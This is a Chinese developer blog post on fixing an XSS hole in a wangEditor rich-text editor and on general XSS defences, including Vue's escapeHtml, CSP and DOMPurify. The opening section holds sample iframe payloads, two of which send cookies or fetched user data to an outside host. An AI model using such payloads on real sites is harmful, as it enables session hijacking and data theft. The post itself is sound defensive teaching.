xss是什么,如何在富文本编辑器中解决 xss 问题

165 阅读16分钟

你是否在工作中遇到客户使用安全扫描工具,对产品做功能安全性测试?

我负责的功能模型的开源组件库,在一客户用奇安信的安全扫描工具检测到了富文本插入iframe外链的xss漏洞,客户要求我们修复这些漏洞

下面是xss漏洞修复的一些知识和最终处理记录

问题以及解决记录

在我们的项目中,使用了 wangEditor 富文本编辑器,客户使用奇安信安全扫描工具检测到了以下问题:

问题描述:

  • 富文本编辑器允许用户插入 iframe 标签
  • 用户可以通过 iframe 的 src 属性注入恶意脚本
  • 例:
<iframe src="javascript:alert('111')"></iframe>

<iframe src="javascript:document.location='http://baidu.com?cookie='+document.cookie"></iframe>

<iframe src="javascript:fetch('/api/user-data').then(r=>r.json()).then(d=>fetch('http://baidu.com/123',{method:'POST',body:JSON.stringify(d)}))"></iframe>

img_2025_05_24_17_36_16.png

本身对wangEditor的富文本内容是通过xss库进行过滤的,但是对iframe标签的插入没有到过滤的逻辑就已经触发执行

解决方案:

  1. 升级 wangEditor 版本

    • 为了避免版本升级导致的vue2兼容性问题,项目wangEditor是早就单独下载源码维护的版本,走升级行不通。只能直接处理
  2. 最终处理直接修改本地代码

核心点在于:插入iframe标签时,拒绝插入javascript:协议的标签,那么做出对于的判断即可

img_2025_05_24_17_37_43.png

通过以上措施,成功通过了客户的安全扫描测试,解决了富文本编辑器的 XSS 漏洞问题

现在再看当初的解决方法,其实可以使用 CSP 的方式来解决:

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; frame-src 'self';">

frame-src的设置让iframe标签只允许加载来自同源的资源 javascript: 不是有效的 HTTP/HTTPS 协议,所以违反 frame-src 'self' 策略,会被阻止执行

img_2025_05_24_17_57_36.png

但是也会导致iframe标签无法加载来自其他域的资源,所以需要根据实际情况来选择使用


遇到了一点问题;问题是常见且重要的;下面扩展到一套方法


XSS 是什么?

XSS (Cross-Site Scripting) 是一种常见的 Web 安全漏洞。攻击者利用这种漏洞,将恶意的脚本(通常是 JavaScript)注入到受信任的网站或 Web 应用程序中。当其他用户访问这些被注入了恶意脚本的页面时,这些脚本就会在用户的浏览器中执行

XSS 的危害主要包括:

  1. 窃取用户信息: 恶意脚本可以读取用户的 Cookie(尤其是没有设置 HttpOnly 标志的 Cookie),从而可能窃取用户的会话信息,冒充用户身份进行操作
  2. 劫持用户会话: 获取用户的 Session ID,从而完全接管用户的账户
  3. 钓鱼欺诈: 在页面上显示伪造的登录框或其他表单,诱骗用户输入敏感信息(如用户名、密码)
  4. 篡改网页内容: 恶意脚本可以修改页面的内容和结构,显示虚假信息、广告或进行其他恶意操作
  5. 网页重定向: 将用户重定向到恶意的网站
  6. 进行其他攻击: 如发起 CSRF(跨站请求伪造)攻击、进行端口扫描等

XSS 的主要类型:

  • 反射型 XSS (Reflected XSS): 恶意脚本存在于 URL 中,作为请求的一部分发送给服务器,服务器未经处理就将脚本反射回浏览器并在当前页面执行。这种攻击通常需要诱导用户点击包含恶意脚本的链接
  • 存储型 XSS (Stored/Persistent XSS): 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、评论区等)。当其他用户访问包含这些恶意脚本的页面时,脚本就会执行。这是危害最大的一种 XSS 类型
  • DOM 型 XSS (DOM-based XSS): 漏洞存在于客户端的 JavaScript 代码中。恶意脚本并不经过服务器,而是通过修改页面的 DOM(文档对象模型)来触发。例如,客户端脚本从 URL 的片段标识符 (#) 中获取数据,并使用 innerHTML 等不安全的方法将其写入页面

如何处理 XSS 漏洞(防御措施)?

防御 XSS 的核心原则是:不信任任何用户输入,并对输出进行适当的处理

  1. 输入验证 (Input Validation):

    • 在服务器端对接收到的用户输入进行严格的验证和过滤
    • 根据数据期望的格式进行校验(例如,年龄字段只接受数字,邮箱字段必须符合邮箱格式)
    • 移除或转义输入中的潜在危险字符(如 <>"' 等)。但这通常不是最可靠的方法,因为过滤规则可能被绕过
  2. 输出编码 (Output Encoding/Escaping):

    • 这是防御 XSS 最核心、最有效的手段
    • 在将数据输出到 HTML 页面之前,根据数据要插入的位置,对其进行恰当的编码
      • HTML 实体编码 (HTML Entity Encoding): 将特殊字符(如 < 转换成 &lt;> 转换成 &gt;& 转换成 &amp;" 转换成 &quot;' 转换成 &apos;&#x27;)转换为它们的 HTML 实体表示。这是最常用的方法,适用于在 HTML 标签内容中输出数据
      • HTML 属性编码 (HTML Attribute Encoding): 在 HTML 属性值中输出数据时,除了进行 HTML 实体编码,还需要特别注意编码引号等
      • JavaScript 编码 (JavaScript Encoding): 在 JavaScript 代码块中输出数据时,需要对数据进行 JavaScript 编码,防止代码注入。通常是将特殊字符转义为十六进制形式(例如 < 转为 \x3C
      • URL 编码 (URL Encoding): 在 URL 参数或路径中输出数据时,使用 URL 编码
    • 许多现代 Web 框架(如 React, Vue, Angular)默认会对输出到模板的数据进行 HTML 实体编码,但开发者仍需注意在特定场景下(如使用 v-htmldangerouslySetInnerHTML)需要手动处理或确保数据来源可靠
  3. 内容安全策略 (Content Security Policy - CSP):

    • mdn-CSP
    • CSP 是一种安全机制,允许网站管理员控制页面可以加载哪些资源(脚本、样式、图片等)
    • 通过配置 CSP HTTP 头部,可以限制脚本的来源(只允许加载本域或指定域的脚本)、禁止内联脚本和 eval() 等危险操作,从而极大地降低 XSS 攻击的风险和影响,即使攻击者成功注入脚本,也可能无法执行
  4. 设置 HttpOnly Cookie 标志:

    • 为敏感的 Cookie(如 Session ID)设置 HttpOnly 标志。这样,浏览器将禁止页面上的 JavaScript 访问这些 Cookie,即使发生 XSS 攻击,攻击者也无法轻易窃取用户的会话 Cookie

什么情况下会遇到 XSS?

XSS 漏洞通常发生在以下场景:

  1. 直接显示用户输入: 网站将用户提交的内容(如评论、留言、搜索关键词、用户资料、文章内容等)未经适当处理就直接显示在页面上
  2. 使用 innerHTMLdocument.write 或类似方法插入不受信任的内容: 这些方法会将字符串直接解析为 HTML 或脚本执行。如果插入的内容包含用户提供的恶意脚本,就会触发 XSS
  3. 从 URL 参数获取数据并显示: 从 URL 的查询参数(如 example.com?query=<script>alert(1)</script>)获取数据,并在页面上未编码就显示出来(这通常导致反射型 XSS)
  4. 富文本编辑器: 富文本编辑器允许用户输入带有格式的文本(本质上是 HTML),如果编辑器或后端没有对用户输入的 HTML 进行严格的过滤和清理,就可能引入 XSS 漏洞
  5. JSONP 回调: 如果 JSONP 的回调函数名可以被用户控制,并且没有进行严格验证,攻击者可能构造恶意的回调函数名来执行脚本

之前在阅读vue源码的时候发现了vue的一些相关处理xss的逻辑,下面看看它是怎么处理

Vue 内置 XSS 防护的escapeHtml函数 如何解决 xss 攻击

Vue 的 XSS 防护主要体现在模板编译和渲染阶段,核心在于将用户动态内容先做 HTML 转义,再通过安全的 DOM API 注入,避免未转义的 HTML 被浏览器解析

它会自动对动态绑定的内容(例如 {{ }} 插值、v-bind 的属性值)进行 HTML 转义,防止恶意脚本注入

packages/shared/src/escapeHtml.ts 文件中,它定义了一个名为 escapeHtml 的函数,用于将字符串中的特殊 HTML 字符(", ', &, <, >)替换为它们对应的 HTML 实体

这个函数会将传入的字符串中的 ", ', &, <, > 字符分别替换为 &quot;, &#39;, &amp;, &lt;, &gt;

Vue 在以下主要场景会调用这个函数(或其他依赖此函数的逻辑)来实现 XSS 防护:

  1. 文本插值(Interpolation): 例如 {{ message }}message 的内容会被 escapeHtml 处理
  2. v-bind 绑定属性: 例如 <div :title="userProvidedTitle"></div>userProvidedTitle 的值也会被转义,防止注入恶意的属性值(除非特殊情况如 v-html
  3. 服务端渲染(SSR): 在服务端渲染期间,动态内容同样会通过 escapeHtml 或类似机制进行处理

需要注意的是,v-html 指令是一个例外,它会直接将内容作为 HTML 插入,不会进行转义。因此,使用 v-html 时必须确保内容是可信的,否则会存在 XSS 风险

总结来说,Vue 的内置 XSS 防护主要依赖于 packages/shared/src/escapeHtml.ts 中的 escapeHtml 函数,并在模板编译和渲染的不同阶段自动应用,对绝大部分动态内容进行转义

escapeHtml 函数的原理很简单,但非常有效:它将具有特殊含义的 HTML 字符替换为其对应的 HTML 实体表示

具体来说,它做了以下替换:

  • < 替换为 &lt; (less than)
  • > 替换为 &gt; (greater than)
  • & 替换为 &amp; (ampersand)
  • " 替换为 &quot; (quotation mark)
  • ' 替换为 &#39; (apostrophe / single quote)

为什么这能防止 XSS 攻击呢?

XSS(跨站脚本攻击)的核心是向网页注入恶意的、可执行的脚本(通常是 JavaScript),让这些脚本在用户的浏览器中执行,从而窃取信息、篡改页面内容或执行其他恶意操作

注入脚本最常见的方式就是利用 HTML 标签,例如:

  • <script> 标签: <script>alert('111');</script>
  • 事件处理器: <img src="invalid-image" onerror="alert('111')">
  • 伪协议: <a href="javascript:alert('111')">Click me</a>

escapeHtml 的作用就在于破坏这些恶意脚本的结构

  1. 阻止标签解析:<> 被替换为 &lt;&gt; 后,浏览器就不再将它们视为 HTML 标签的开始和结束符。例如,如果你试图注入 <script>alert('111');</script>,经过 escapeHtml 处理后会变成 &lt;script&gt;alert('111');&lt;/script&gt;。浏览器只会将这段文本原样显示出来,而不会把它当作一个 <script> 标签来执行里面的 JavaScript 代码

  2. 阻止属性值逃逸: 当引号 "' 被替换为 &quot;&#39; 后,攻击者就无法通过注入引号来提前闭合 HTML 属性的值,并插入新的属性(如 onerror)或标签。例如,假设有一个属性绑定 <input value="{{ userInput }}">,如果 userInput"><script>alert(1)</script>,没有转义的话会变成 <input value=""><script>alert(1)</script>">,导致脚本执行。但经过 escapeHtml 处理后,userInput 变成 &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;,最终的 HTML 是 <input value="&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;">,这只是一个包含特殊字符的普通字符串值,脚本不会执行

  3. 处理 & 符号: 转义 & 可以防止它被误解为 HTML 实体的一部分,确保原始意图的文本内容被正确显示


主要流程如下:

1. 编译阶段

1.1 toDisplayString

模板插值({{ foo }})和 v-text 指令都会被编译成对 helper toDisplayString 的调用,先将任意值转成字符串或 JSON,再交给转义函数

// 1:68:packages/shared/src/toDisplayString.ts
export const toDisplayString = (val: unknown): string => {
  return isString(val)
    ? val
    : val == null
      ? ''
      : isArray(val)
        ? JSON.stringify(val, replacer, 2)
        : String(val)
}
1.2 escapeHtml

toDisplayString 最终会调用 escapeHtml 对特殊字符做实体编码:

// packages/shared/src/escapeHtml.ts
const escapeRE = /["'&<>]/

export function escapeHtml(string: unknown): string {
  const str = '' + string
  const match = escapeRE.exec(str)
  if (!match) return str

  let html = ``
  let lastIndex = 0
  for (let index = match.index; index < str.length; index++) {
    let escaped: string
    switch (str.charCodeAt(index)) {
      case 34: escaped = '&quot;'; break
      case 38: escaped = '&amp;'; break
      case 39: escaped = '&#39;'; break
      case 60: escaped = '&lt;'; break
      case 62: escaped = '&gt;'; break
      default: continue
    }
    html += str.slice(lastIndex, index) + escaped
    lastIndex = index + 1
  }
  return html + str.slice(lastIndex)
}

2. 运行时阶段

在客户端渲染时,Vue 会使用安全的 DOM 属性注入,保证不会把转义后的内容当作 HTML 解析:

// packages/runtime-dom/src/modules/props.ts
export function patchDOMProp(el: any, key: string, value: any) {
  // 处理 v-html / innerHTML 或 v-text / textContent
  if (key === 'innerHTML' || key === 'textContent') {
    if (value != null) {
      el[key] =
        key === 'innerHTML'
          ? unsafeToTrustedHTML(value) // __UNSAFE__,仅在显式 v-html 时使用
          : value                   // textContent 永远安全
    }
    return
  }
  // ... 其他属性逻辑
}

⚠️ 除非你显式使用 v-html(或手动设置 innerHTML),否则 Vue 默认不会绕过这套转义机制


总的来说,escapeHtml 通过将可能被浏览器解释为代码或结构的关键字符进行"无害化"处理(转义),使得用户输入或动态数据只能被当作纯文本内容来显示,从而阻止了恶意脚本的注入和执行,达到了防止 XSS 攻击的目的

注意:Vue 默认对大多数动态绑定(如 {{ }}v-bind)都应用了这种转义,但 v-html 是个例外,它允许你直接插入原始 HTML,因此使用 v-html 时需要自行确保内容的安全性

输出编码为什么可以防止 XSS?

输出编码是防止跨站脚本攻击(XSS)的核心手段,因为它能够将用户输入中的特殊字符转换为无害的 HTML 实体,使浏览器将其视为普通文本而不是可执行代码,从而阻止恶意脚本的执行

下面将解答"为什么可以通过编码解决 XSS "、"其原理是什么"和"依赖什么特性"

为什么输出编码能防止 XSS?

XSS 攻击的本质是攻击者将恶意脚本(如 <script>alert('111')</script>)注入到网页中,当浏览器解析并执行这些脚本时,攻击得以实现。输出编码通过将用户输入中的特殊字符(例如 <>&)转换为对应的 HTML 实体(例如 &lt;&gt;&amp;),破坏了恶意脚本的语法结构,使浏览器无法将其识别为可执行代码,而是作为纯文本显示

举个例子:

  • 攻击者输入:<script>alert('111')</script>
  • 未经编码直接输出:浏览器会解析为脚本并执行,弹出警告框
  • 经过输出编码:变为 &lt;script&gt;alert('111')&lt;/script&gt;,浏览器将其显示为文本 <script>alert('111')</script>,不会执行

通过这种方式,输出编码确保了用户输入不会被浏览器误解为代码,从而有效防止 XSS 攻击


防止 XSS 的原理是什么?

输出编码的原理基于 HTML 解析规则和实体编码机制。具体来说:

  1. 破坏脚本语法:

    • HTML 解析器依赖特定的语法规则(如 < 表示标签开始,> 表示标签结束)来识别和执行代码
    • 输出编码将关键字符转义,例如 < 变为 &lt;> 变为 &gt;,使得恶意输入无法形成有效的 HTML 标签或脚本结构
    • 例如,<script> 被转义为 &lt;script&gt;,浏览器不会将其视为脚本标签,而是显示为文本
  2. 利用 HTML 实体编码:

    • HTML 标准定义了实体编码(如 &lt; 表示 <),浏览器在解析时会将这些实体解码为对应的字符并显示为文本,而不是将其视为标签的开始
    • 转义后的内容被放入 DOM 的文本节点,而不是元素节点或脚本节点,从而避免执行

工作过程:

  • 用户输入特殊字符 → 编码为 HTML 实体 → 浏览器解析为文本 → 显示而非执行

通过这种机制,输出编码确保了恶意脚本无法被正确解析和执行,达到了防止 XSS 的目的


依赖什么特性?

输出编码的有效性依赖于浏览器的 HTML 解析特性,特别是以下两点:

  1. HTML 实体解码:

    • 浏览器在解析 HTML 时,会将实体编码(如 &lt;)解码为对应的字符(如 <),并在渲染时显示为文本,而不是将其视为标签的开始
    • 例如,&lt;script&gt; 被解析后显示为 <script>,不会触发脚本执行
  2. 文本节点与标签节点的区分:

    • 浏览器在构建 DOM 树时,会根据内容判断是将某部分作为文本节点还是元素/脚本节点处理
    • 输出编码后的内容被视为文本节点,区别于可执行的元素节点(如 <script>),从而避免被执行

这些特性是 HTML 标准的一部分,确保了转义后的用户输入不会被误解为代码,是输出编码防止 XSS 的技术基础


输出编码之所以能防止 XSS,是因为它将用户输入中的特殊字符转换为 HTML 实体,破坏了恶意脚本的语法,使其无法被浏览器解析为可执行代码。其原理依赖于 HTML 解析规则和实体编码机制,而实现这一效果的关键在于浏览器的 HTML 实体解码和文本节点处理特性。通过正确实施输出编码,可以有效阻止 XSS 攻击,保护 Web 应用的安全

关键点回顾:

  • 为什么有效: 转义特殊字符,阻止脚本执行,浏览器显示为文本
  • 原理: 破坏语法结构,利用 HTML 实体编码
  • 依赖特性: 浏览器的实体解码和文本节点处理

在实际应用中,开发者需确保根据输出上下文(如 HTML、JavaScript、CSS)选择正确的转义策略,并全面覆盖所有用户输入的输出点,以最大化安全防护效果

日常开发中,如何解决v-html里面的xss注入

首先后端必须要在内容存储前做一遍清理操作,对于可能的xss攻击内容做处理

然后在前端必须使用v-html,可以使用 DOMPurify 对内容进行严格的清理:

<template>
  <div v-html="sanitizedContent"></div>
</template>

<script>
import DOMPurify from 'dompurify';
export default {
  data() {
    return {
      content: '<script>alert("111")</script><p>Hello World</p>'
    }
  },
  computed: {
    sanitizedContent() {
      return DOMPurify.sanitize(this.content)
    }
  }
}
</script>

总结

XSS 攻击是前端中最常见的安全威胁之一,特别是在使用富文本编辑器的场景下。总结以下关键要点:

  1. XSS 防护的核心是输出编码

    • 将特殊字符转换为 HTML 实体,破坏恶意脚本的语法结构
    • Vue 等现代框架默认提供了这种保护,但 v-html 等特殊指令需要额外注意
  2. 富文本编辑器的安全处理

    • 必须在后端进行 HTML 清理,前端的任何防护都可能被绕过
    • 使用成熟的清理库(如 DOMPurify、sanitize-html)
    • 配置严格的白名单策略,只允许必要的标签和属性
  3. 深度防御策略

    • 输入验证 + 输出编码 + HTML 清理 + CSP 策略
    • 多层防护确保即使某一层失效,仍有其他防护措施
  4. 实际项目经验

    • 及时升级依赖库版本,获取最新的安全修复
    • 配置编辑器限制危险功能(如 iframe 插入)
    • 定期进行安全扫描,主动发现和修复漏洞

记住:永远不要信任用户输入